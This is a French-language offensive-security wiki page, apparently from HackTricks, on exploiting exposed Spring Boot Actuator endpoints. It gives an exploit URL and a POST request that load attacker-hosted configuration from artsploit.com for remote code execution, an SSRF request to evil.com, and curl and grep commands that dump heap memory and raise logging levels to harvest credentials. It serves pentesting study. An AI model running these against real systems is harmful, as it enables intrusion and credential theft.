8.2 KiB
Raw Blame History

Spring Actuators

{{#include ../../banners/hacktricks-training.md}}

Spring Auth Bypass

Depuis https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploitation des Spring Boot Actuators

Consultez l'article original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Points clés :

  • Spring Boot Actuators register endpoints tels que /health, /trace, /beans, /env, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls /health et /info sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
  • Certains endpoints Actuator peuvent exposer des données sensibles ou permettre des actions dangereuses :
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, et /heapdump.
  • Dans Spring Boot 1.x, les actuators sont enregistrés sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base /actuator/.

Techniques d'exploitation :

  1. Remote Code Execution via '/jolokia':
  • L'endpoint /jolokia expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans.
  • L'action reloadByURL peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou à du Remote Code Execution via des configurations XML malicieuses.
  • Exemple d'URL d'exploit : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modification de la configuration via '/env':
  • Si les Spring Cloud Libraries sont présentes, l'endpoint /env permet la modification des propriétés d'environnement.
  • Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de désérialisation XStream dans Eureka serviceURL.
  • Exemple de requête POST d'exploitation :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Autres paramètres utiles:
  • Des propriétés comme spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, et spring.datasource.tomcat.max-active peuvent être manipulées pour divers exploits, tels que des injections SQL ou la modification des chaînes de connexion à la base de données.

Informations supplémentaires :

  • Une liste complète des actuators par défaut peut être trouvée ici.
  • L'endpoint /env dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.

Sujets liés :

  1. Env + H2 RCE:
  • Détails sur l'exploitation de la combinaison de l'endpoint /env et de la base de données H2 disponibles ici.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Le traitement par le framework Spring des matrix parameters (;) dans les pathnames HTTP peut être exploité pour Server-Side Request Forgery (SSRF).
  • Exemple de requête d'exploitation:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs)

Si /actuator/heapdump est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

  • Téléchargement et triage rapide :
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Analyse approfondie avec VisualVM et OQL :
  • Ouvrez le heapdump dans VisualVM, inspectez les instances de java.lang.String ou lancez des OQL pour chasser les secrets :
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Extraction automatisée avec JDumpSpider :
java -jar JDumpSpider-*.jar heapdump

Découvertes typiques à haute valeur :

  • Spring DataSourceProperties / HikariDataSource objects exposant url, username, password.
  • Entrées OriginTrackedMapPropertySource révélant management.endpoints.web.exposure.include, ports de service et Basic-Auth intégré dans des URLs (par ex. Eureka defaultZone).
  • Fragments de requêtes/réponses HTTP en clair incluant Authorization: Basic ... capturés en mémoire.

Conseils :

  • Utilisez un wordlist orienté Spring pour découvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vérifiez toujours si /actuator/logfile, /actuator/httpexchanges, /actuator/env, et /actuator/configprops sont aussi exposés.
  • Les credentials extraits d'un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), testez-les largement.

Abuser des loggers/logging d'Actuator pour capturer des credentials

Si management.endpoints.web.exposure.include le permet et que /actuator/loggers est exposé, vous pouvez augmenter dynamiquement les niveaux de log à DEBUG/TRACE pour des packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via /actuator/logfile ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-têtes Basic-Auth ou paramètres de formulaire).

  • Énumérez et augmentez les loggers sensibles :
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Trouvez où les logs sont écrits et récoltez-les :
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Déclenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements génèrent même du trafic de login synthétique périodiquement, rendant la collecte triviale une fois le logging verbeux.

Notes :

  • Réinitialisez les niveaux de log une fois terminé : POST /actuator/loggers/<logger> avec { "configuredLevel": null }.
  • Si /actuator/httpexchanges est exposé, il peut aussi faire apparaître des métadonnées de requêtes récentes qui peuvent inclure des headers sensibles.

References

{{#include ../../banners/hacktricks-training.md}}